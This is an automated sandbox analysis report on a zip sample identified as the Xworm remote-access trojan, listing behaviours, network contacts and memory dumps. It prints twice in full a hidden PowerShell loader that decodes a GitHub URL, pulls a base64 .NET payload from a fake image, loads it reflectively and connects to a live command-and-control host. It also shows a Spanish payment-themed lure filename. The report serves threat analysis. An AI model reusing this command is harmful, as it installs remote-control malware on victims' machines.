Analysis Overview
SHA256
568ba74b8618d572ab754f6f49f1bf0e4d48692c63af13a5128273b88895b4ee
Threat Level: Known bad
The file d960d1980fbb7446cab8533dc42ccd13.zip was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Xworm family
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Drops startup file
Legitimate hosting services abused for malware hosting/C2
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-29 22:46
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-29 22:46
Reported
2024-10-29 22:49
Platform
win7-20241023-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\alojar.bat | C:\Windows\system32\cmd.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\alojar.bat | C:\Windows\system32\cmd.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 692 wrote to memory of 2340 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 692 wrote to memory of 2340 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 692 wrote to memory of 2340 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\TRANSACCIÓN Pagar proveedores ha sido Aprobada.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly9naXRodWIuY29tL0NyeXB0ZXJzQW5kVG9vbHMvVXBsb2FkL2Jsb2IvbWFpbi9uZXdfaW1hZ2UuanBnP3Jhdz10cnVl'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('joseamayaaa.chickenkiller.com', '1996');"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | github.com | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| GB | 20.26.156.215:443 | github.com | tcp |
Files
memory/2340-6-0x000007FEF57BE000-0x000007FEF57BF000-memory.dmp
memory/2340-7-0x000000001B790000-0x000000001BA72000-memory.dmp
memory/2340-9-0x000007FEF5500000-0x000007FEF5E9D000-memory.dmp
memory/2340-8-0x0000000001F40000-0x0000000001F48000-memory.dmp
memory/2340-10-0x000007FEF5500000-0x000007FEF5E9D000-memory.dmp
memory/2340-11-0x000007FEF5500000-0x000007FEF5E9D000-memory.dmp
memory/2340-12-0x000007FEF5500000-0x000007FEF5E9D000-memory.dmp
memory/2340-13-0x000007FEF5500000-0x000007FEF5E9D000-memory.dmp
memory/2340-14-0x000007FEF5500000-0x000007FEF5E9D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-29 22:46
Reported
2024-10-29 22:49
Platform
win10v2004-20241007-en
Max time kernel
138s
Max time network
180s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Xworm family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\alojar.bat | C:\Windows\system32\cmd.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\alojar.bat | C:\Windows\system32\cmd.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1124 wrote to memory of 1392 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1124 wrote to memory of 1392 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TRANSACCIÓN Pagar proveedores ha sido Aprobada.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly9naXRodWIuY29tL0NyeXB0ZXJzQW5kVG9vbHMvVXBsb2FkL2Jsb2IvbWFpbi9uZXdfaW1hZ2UuanBnP3Jhdz10cnVl'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('joseamayaaa.chickenkiller.com', '1996');"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | github.com | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 215.156.26.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | raw.githubusercontent.com | udp |
| US | 185.199.111.133:443 | raw.githubusercontent.com | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.111.199.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | joseamayaaa.chickenkiller.com | udp |
| CO | 179.14.10.239:1996 | joseamayaaa.chickenkiller.com | tcp |
| US | 8.8.8.8:53 | 239.10.14.179.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 99.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
| CO | 179.14.10.239:1996 | joseamayaaa.chickenkiller.com | tcp |
Files
memory/1392-2-0x00007FF897553000-0x00007FF897555000-memory.dmp
memory/1392-3-0x0000017AFD5C0000-0x0000017AFD5E2000-memory.dmp
memory/1392-4-0x00007FF897550000-0x00007FF898011000-memory.dmp
memory/1392-5-0x00007FF897550000-0x00007FF898011000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jsiycnrc.jsp.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1392-15-0x0000017A98000000-0x0000017A982F2000-memory.dmp
memory/1392-16-0x00007FF897553000-0x00007FF897555000-memory.dmp
memory/1392-17-0x00007FF897550000-0x00007FF898011000-memory.dmp
memory/1392-18-0x00007FF897550000-0x00007FF898011000-memory.dmp
memory/1392-19-0x0000017A98500000-0x0000017A9850C000-memory.dmp
memory/1392-20-0x00007FF897550000-0x00007FF898011000-memory.dmp
memory/1392-21-0x00007FF897550000-0x00007FF898011000-memory.dmp